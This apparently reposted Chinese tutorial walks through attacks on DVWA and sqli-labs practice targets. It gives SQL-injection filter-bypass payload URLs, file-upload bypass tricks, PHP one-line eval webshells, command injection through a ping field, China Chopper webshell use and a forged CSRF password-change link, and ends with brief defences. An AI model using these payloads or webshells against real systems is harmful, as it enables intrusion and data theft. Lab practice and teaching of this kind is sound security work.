主頁 > 知識(shí)庫 > 詳解SQL注入--安全(二)

詳解SQL注入--安全(二)

熱門標(biāo)簽:昌德訊外呼系統(tǒng) 400電話申請(qǐng)廠家現(xiàn)貨 徐涇鎮(zhèn)騰訊地圖標(biāo)注 福建外呼電銷機(jī)器人加盟 電話機(jī)器人的價(jià)格多少錢一個(gè)月 自己做地圖標(biāo)注需要些什么 天津公司外呼系統(tǒng)軟件 中國(guó)地圖標(biāo)注公司 百度地圖標(biāo)注要什么軟件

如果此文章有什么錯(cuò)誤,或者您有什么建議,歡迎隨時(shí)聯(lián)系我,謝謝!
寫在前面:在前兩天初學(xué)SQL注入的基礎(chǔ)上,繼續(xù)在Metasploitable-Linux環(huán)境下進(jìn)行練習(xí)。
一、前面學(xué)習(xí)的SQL注入,那么當(dāng)然就有防注入。由于web注入危害較大,各種防御技術(shù)也層出不窮。

1、程序猿在寫代碼時(shí)會(huì)有意識(shí)的進(jìn)行防御設(shè)置,或者安全測(cè)試來封堵web注入
2、各大安全廠商生產(chǎn)的硬件或者軟件WAF產(chǎn)品

黑名單過濾技術(shù)

1、過濾sql關(guān)鍵字段
常見的關(guān)鍵字:and、or、union all select、引號(hào)、空格等等過濾
還有一些類似的技術(shù)不是過濾而是通過轉(zhuǎn)義函數(shù)或者剝離非法關(guān)鍵字

繞過方法:

  1. 1、大小寫變形(id=-1 UniOn sEleCt 1,2,3……)
  2. 2、編碼:hex碼、urlencode
  3. 3、注釋 ‘/or/'
  4. 4、過濾替換 (and–、or–||)
  5. 5、截?cái)?/li>

二、文件上傳漏洞

我們?cè)谏暇W(wǎng)時(shí)經(jīng)常會(huì)使用文件上傳的功能,比如上傳一個(gè)頭像圖片,上傳一個(gè)文件,上傳一個(gè)視頻等等,我都知道這是一個(gè)正常的功能,但是大家有沒有想過文件上傳后,服務(wù)器是怎么處理或者解析這些文件的呢,如果服務(wù)器在處理這些上傳文件的時(shí)候做的不夠安全,就會(huì)導(dǎo)致安全事件的發(fā)生,比如: 上傳web腳本文件讓服務(wù)器執(zhí)行

  1. (1)上傳木馬病毒文件誘導(dǎo)用戶或者管理員下載
  2. (2)上傳釣魚文件
  3. (3)上傳欺詐文件

文件上傳漏洞核心

要使得文件上傳攻擊能夠成功,一般需要滿足兩個(gè)要素:

  1. (1)包含webshell文件能夠成功被上傳到服務(wù)器上
  2. (2) 該文件能夠被服務(wù)器解析或者我們能訪問到該上傳文件

實(shí)現(xiàn)核心—上傳繞過技術(shù)

一般而言文件上傳遇到的檢測(cè)技術(shù): +

  1. (1)客戶端 javascript 檢測(cè) (通常為檢測(cè)文件擴(kuò)展名)
  2. (2)服務(wù)端 MIME 類型檢測(cè) (檢測(cè) Content-Type 內(nèi)容)
  3. (3)服務(wù)端目錄路徑檢測(cè) (檢測(cè)跟 path 參數(shù)相關(guān)的內(nèi)容)
  4. (4)服務(wù)端文件擴(kuò)展名檢測(cè) (檢測(cè)跟文件 extension 相關(guān)的內(nèi)容)
  5. (5)服務(wù)端文件內(nèi)容檢測(cè) (檢測(cè)內(nèi)容是否合法或含有惡意代碼)

客戶端檢測(cè)繞過(javascript 檢測(cè))

這類檢測(cè)通常在上傳頁面里含有專門檢測(cè)文件上傳的 javascript 代碼最常見的就是檢測(cè)擴(kuò)展名是否合法,這類繞過很簡(jiǎn)單。
做法:制作webshell文件(比如shell.php)—>修改為合法擴(kuò)展名(shell.png)—>burp攔截改為(shell.php) —>上傳

服務(wù)端檢測(cè)繞過(MIME 類型檢測(cè))

該檢測(cè)是在服務(wù)器上進(jìn)行,主要檢查的是content-type類型值(白名單或者黑名單)。當(dāng)然這個(gè)繞過也簡(jiǎn)單。
做法:制作webshell文件(比如shell.php,Content-Type: text/plain)—>burp攔截改為(sontent-Type: image/gif) —>上傳

服務(wù)器檢測(cè)繞過(目錄路徑檢測(cè))

該檢測(cè)是在服務(wù)器上進(jìn)行,一般就檢測(cè)路徑是否合法,但稍微特殊一點(diǎn)的都沒有防御。 比如,shell.php.[\0].png [\0]、123.php0x00.png其中0x00是php、c語言的截?cái)喾褪钦f服務(wù)器在讀文件的時(shí)候讀到shell.php碰到【\0】就截止了當(dāng)做shell.php執(zhí)行了。 類似還有post提交文件shell.php%00.png
注:繞過后臺(tái)檢測(cè),就是給他想要的文件后綴名,然后截?cái)嗾鎸?shí)的后綴

服務(wù)端檢測(cè)繞過(文件擴(kuò)展名檢測(cè))

顧名思義就是檢查文件擴(kuò)展名,一般通過白黑名單防御。

1、黑名單 比如擴(kuò)展名不能包含 html、php、php3,php4,asp、exe、bat、jsp +文件名大小寫繞過用像 AsP,pHp 之類的文件名繞過黑名單檢測(cè)

  1. (1)名單列表繞過用黑名單里沒有的名單進(jìn)行攻擊,比如黑名單里沒有 asa 或 cer 之類
  2. (2)特殊文件名繞過 比如發(fā)送的 http 包里把文件名改成 test.asp. 或 test.asp_(下劃線為空格),這種命名方式在 windows 系統(tǒng)里是不被允許的,所以需要在 burp 之類里進(jìn)行修改,然后繞過驗(yàn)證后,會(huì)被 windows 系統(tǒng)自動(dòng)去掉后面的點(diǎn)和空格,但要注意 Unix/Linux 系統(tǒng)沒有這個(gè)特性。
  3. (3)htaccess 文件攻擊 配合名單列表繞過,上傳一個(gè)自定義的.htaccess,就可以輕松繞過各種檢測(cè)
  4. (4)解析調(diào)用/漏洞繞過這類漏洞直接配合上傳一個(gè)代碼注入過的非黑名單文件即可,再利用解析調(diào)用/漏洞
  5. (5)白名單檢測(cè)

2、白名單相對(duì)來說比黑名單安全一些,但也不見得就絕對(duì)安全了

(1)0x00 截?cái)嗬@過

用像 test.asp%00.jpg 的方式進(jìn)行截?cái)?,屬于白名單文件,再利用服?wù)端代碼的檢測(cè)邏輯漏洞進(jìn)行攻擊,目前我只遇到過 asp 的程序有這種漏洞 + 解析調(diào)用/漏洞繞過這類漏洞直接配合上傳一個(gè)代碼注入過的白名單文件即可,再利用解析調(diào)用/漏洞

(2).htaccess 文件攻擊

在 PHP manual 中提到了下面一段話 move_uploaded_file section, there is a warning which states ‘If the destination file already exists, it will be overwritten.' 如果 PHP 安全沒配置好就可以通過 move_uploaded_file 函數(shù)把自己寫的.htaccess 文件覆蓋掉服務(wù)器上的這樣就能任意定義解析名單了

服務(wù)端檢測(cè)繞過(文件內(nèi)容檢測(cè))

如果文件內(nèi)容檢測(cè)設(shè)置得比較嚴(yán)格,那么上傳攻擊將變得非常困難也可以說它是在代碼層檢測(cè)的最后一道關(guān)卡如果它被突破了,就算沒有代碼層的漏洞也給后面利用應(yīng)用層的解析漏洞帶來了機(jī)會(huì)。

(1)文件幻數(shù)頭檢查
主要是檢測(cè)文件內(nèi)容開始處的文件幻數(shù),比如:要繞過 jpg Value = FF D8 FF E0 00 10 4A 46 49 46。 要繞過 gif 文件幻數(shù)檢測(cè) Value = 47 49 46 38 39 61 要繞過 png 文件幻數(shù)檢測(cè) Value = 89 50 4E 47

(2)文件相關(guān)信息檢測(cè)

圖像文件相關(guān)信息檢測(cè)常用的就是 getimagesize()函數(shù)只需要把文件頭部分偽造好就 ok 了,就是在幻數(shù)的基礎(chǔ)上還加了一些文件信息有點(diǎn)像下面的結(jié)構(gòu)

GIF89a

(...some binary data for image...)
 ?php phpinfo(); ?>
(... skipping the rest of binary data ...)

(3)文件加載檢測(cè)

這個(gè)是最變態(tài)的檢測(cè)了,一般是調(diào)用 API 或函數(shù)去進(jìn)行文件加載測(cè)試常見的是圖像渲染測(cè)試,再變態(tài)點(diǎn)的甚至是進(jìn)行二次渲染,對(duì)渲染/加載測(cè)試的攻擊方式是代碼注入繞過對(duì)二次渲染的攻擊方式是攻擊文件加載器自身。

三、

1、(1)先將對(duì)應(yīng)網(wǎng)址復(fù)制到下方,點(diǎn)擊Load URL,然后點(diǎn)擊Execute


(2)構(gòu)造閉合,得到數(shù)據(jù)庫名–dvwa,然后按照之前的套路發(fā)現(xiàn)系統(tǒng)報(bào)錯(cuò),報(bào)錯(cuò)信息如下



系統(tǒng)自動(dòng)加入了\符號(hào),是構(gòu)造的函數(shù)出現(xiàn)錯(cuò)誤,這時(shí)我們應(yīng)規(guī)避這種現(xiàn)象,使系統(tǒng)不為構(gòu)造函數(shù)自動(dòng)添加特殊符號(hào),對(duì)上述這種情況,可以使用hex碼將字符串dvwa轉(zhuǎn)換為十六進(jìn)制(變?yōu)?x……),這樣將不會(huì)在構(gòu)造函數(shù)中使用到單引號(hào)符號(hào),此時(shí)系統(tǒng)將不再自動(dòng)為構(gòu)造函數(shù)添加特殊字符,破壞構(gòu)造函數(shù)。

(3)同理,按照之前所使用的SQL語句,爆數(shù)據(jù)。

2、以Less-25為例

(1)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 1,2,database()--+	//根據(jù)回顯構(gòu)造閉合,爆出database()

(2)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 1,table_name,column_name from infoorrmation_schema.columns where table_name = table_name aAndnd table_schema = database()--+	//爆出表名table_name、列名column_name

(3)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 3,2,id from emails--+	//爆出數(shù)據(jù)

小結(jié):首先不斷構(gòu)造閉合輸入,觀察回顯,發(fā)現(xiàn)系統(tǒng)過濾了“and”字符串,以及“+”(+ 相當(dāng)于空格鍵)

然后我們猜測(cè)使用大小寫混合的and,或者交叉不連續(xù)出現(xiàn)and,或者使用其他字符代替and–如(主要目的是為了使用and),又或者使用hex碼、urlencode轉(zhuǎn)化的方法;同理,字符串“or”,或者在單詞中出現(xiàn)的or(如information)也可以使用上述的方法。關(guān)鍵在于繞過系統(tǒng)的過濾,達(dá)到一定的目的

3、以Less-26為例

and字符與Less-25相同的道理,過濾掉的空格可以使用 %20 --空格、或者TAB鍵的編碼、或者換行鍵的編碼

4、以http://192.168.122.130/DVWA-1.9/vulnerabilities/exec/為例,界面如下,是一個(gè)可以ping的界面


該界面存在漏洞即可以使用連接符號(hào)在ping的同時(shí)完成其他動(dòng)作,當(dāng)在輸入欄輸入127.0.0.1 || pwd,出現(xiàn)情況如下


發(fā)現(xiàn)界面中出現(xiàn)了當(dāng)前文件目錄,然后我們可以利用此漏洞獲取一些想得到的數(shù)據(jù)
在此提及“一句話木馬”

echo '?php @eval($_POST[123]);?>' > 123.php

[有時(shí)為了不讓受害人發(fā)現(xiàn),常把其他形式的語句與“一句話木馬”連用

 ?php fputs(fopen("345.php","w")),?php @eval($_POST[1234]);?>' >1234.php

四、結(jié)合File Inclusion與File Upload實(shí)現(xiàn)攻擊

(1)在http://192.168.122.130/DVWA-1.9/security.php下選擇DVWA security為L(zhǎng)ow
然后File Upload上傳一個(gè)帶有一句話木馬的.php文件,然后通過已知的目錄,將信息添加到中國(guó)菜刀,獲取所有目錄—此時(shí)可以實(shí)現(xiàn)對(duì)文件的篡改、刪除、上傳等操作(有時(shí)可以通過重命名文件名來達(dá)到繞過的目的:123.png0x00.php —此處0x00代表命名結(jié)束)

使用中國(guó)菜刀,進(jìn)行下圖所示的添加—針對(duì) echo ‘?php @eval($_POST[123]);?>' > 123.php

然后就可以通過中國(guó)菜刀獲取目錄如下:

(2)在http://192.168.122.130/DVWA-1.9/security.php下選擇DVWA security為Medium
此時(shí)上傳.php文件會(huì)回顯錯(cuò)誤,無法上傳,所以我們將木馬文件格式改為支持上傳的格式,png格式的文件中有一句話木馬—此處以png格式為例


手動(dòng)設(shè)置瀏覽器代理



啟動(dòng)BurpLoader,進(jìn)行抓包改名處理!


然后Action->Send to Repeater,然后在Repeater中點(diǎn)擊Go,觀察右邊窗口,發(fā)現(xiàn)文件已經(jīng)上傳,打開中國(guó)菜刀,按照之前的步驟訪問即可。

(3)在http://192.168.122.130/DVWA-1.9/security.php下選擇DVWA security為High

首先看到圖片已經(jīng)上傳,那么上傳的圖片一定是已經(jīng)經(jīng)過處理的(加入了一句話木馬),就是打開圖片編碼工具winhex,在編碼工具中加入一句話木馬,重新生成一個(gè)新的編碼后的圖片。

當(dāng)然也可以使用cmd命令:copy 1.png/b+123.php /a TCP.png。此處1.png為正常圖片,123.php為一句話木馬,將他們重新合成新的圖片取名為TCP.png,然后上傳,即可成功(上面使用的是cmd)。

圖片上傳完成后,不能像Medium等級(jí)那樣進(jìn)行抓包改名處理。應(yīng)該是web服務(wù)器端還有相應(yīng)的安全性處理。
此時(shí)需要我們手動(dòng)觸發(fā)(當(dāng)然也可以等待被攻擊系統(tǒng)管理員點(diǎn)擊圖片觸發(fā))。觸發(fā)之后我們就可以使用同樣的方式,打開中國(guó)菜刀,進(jìn)行目錄的獲取。

五、對(duì)于一些變態(tài)等級(jí)的處理思路:

compare,觀察上傳前與上傳后哪些地方?jīng)]有變(通過二異性),然后對(duì)上傳數(shù)據(jù)做出一定的修改,從而達(dá)到一定目的。
一些其他的攻擊方法:

  1. 1、以http://192.168.122.130/DVWA-1.9/vulnerabilities/upload/為例,在圖片中寫入觸發(fā)指令,當(dāng)管理員敲某命令時(shí)執(zhí)行該圖片,執(zhí)行圖片中包含的代碼,即預(yù)埋一個(gè)常用的觸發(fā)指令!
  2. 2、找到要攻擊的系統(tǒng)默認(rèn)存儲(chǔ)臨時(shí)文件的具體位置,然后改變文件的內(nèi)容(比如說在文件中加入包含一句話木馬的可執(zhí)行文件等),達(dá)到預(yù)期的效果
  3. 3、對(duì)于會(huì)為上傳文件自動(dòng)修改文件名的系統(tǒng),會(huì)使我們無法執(zhí)行我們上傳的非可執(zhí)行文件,此時(shí)我們可以這樣:因?yàn)樵O(shè)備處理文件是有一定限度的,可以每秒鐘高頻傳輸同一文件,使其后臺(tái)來不及修改其中一兩個(gè)文件的文件名,使之出現(xiàn)文件名不會(huì)被修改的情況,然后我們?nèi)绻梢栽L問到該文件,執(zhí)行即可進(jìn)行攻擊!

六、CSRF:Cross site Request Forgery跨棧請(qǐng)求偽造(利用cookie值)

構(gòu)造一個(gè)URL,誘導(dǎo)受害人點(diǎn)擊鏈接,從而利用受害人的cookie來實(shí)現(xiàn)受害人在自己不知道的情況下修改密碼

http://192.168.122.130/DVWA-1.9/vulnerabilities/csrf/?password_new=1234password_conf=1234Change=Change#

舉例:比如說黑客使用自己的賬號(hào)密碼登錄某網(wǎng)站,然后點(diǎn)到修改密碼界面,構(gòu)造一個(gè)修改密碼的URL,當(dāng)黑客想進(jìn)行攻擊時(shí)就誘導(dǎo)某受害人(該受害人之前使用瀏覽器登錄網(wǎng)站時(shí),瀏覽器中存有cookie)點(diǎn)擊之前構(gòu)造好的URL,然后在受害人不知道的情況下修改密碼,此密碼黑客知道,此時(shí)若攻擊成功,黑客就能使用之前構(gòu)造URL時(shí)構(gòu)造的密碼以受害人的身份登錄網(wǎng)站,進(jìn)行一系列操作!

當(dāng)下的一些防御手段:

1、可以使用驗(yàn)證碼進(jìn)行防御

2、需要原始密碼才能修改密碼的網(wǎng)站

3、防御手法:no-referrer-when-downgrade

從一個(gè)網(wǎng)站鏈接到另外一個(gè)網(wǎng)站會(huì)產(chǎn)生新的http請(qǐng)求,referrer是http請(qǐng)求中表示來源的字段。
no-referrer-when-downgrade表示從https協(xié)議降為http協(xié)議時(shí)不發(fā)送referrer給跳轉(zhuǎn)網(wǎng)站的服務(wù)器

4、防偽機(jī)制token,不同于cookie,可以堵住絕大多數(shù)CSRF攻擊(人手一個(gè)防偽碼,別人猜不出來,如果自己要改密碼,必須自己使用自己的token才能成功)—token需要無規(guī)律、最好是加密。

以上所述是小編給大家介紹的SQL注入安全詳解整合,希望對(duì)大家有所幫助,如果大家有任何疑問請(qǐng)給我留言,小編會(huì)及時(shí)回復(fù)大家的。在此也非常感謝大家對(duì)腳本之家網(wǎng)站的支持!

您可能感興趣的文章:
  • 淺析MySQL的注入安全問題
  • Python操作sqlite3快速、安全插入數(shù)據(jù)(防注入)的實(shí)例
  • PHP開發(fā)中常見的安全問題詳解和解決方法(如Sql注入、CSRF、Xss、CC等)
  • PHP的SQL注入實(shí)現(xiàn)(測(cè)試代碼安全不錯(cuò))

標(biāo)簽:黔西 陜西 荊門 駐馬店 鄂爾多斯 梅河口 北京 昌都

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《詳解SQL注入--安全(二)》,本文關(guān)鍵詞  詳解,SQL,注入,安全,二,詳解,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《詳解SQL注入--安全(二)》相關(guān)的同類信息!
  • 本頁收集關(guān)于詳解SQL注入--安全(二)的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章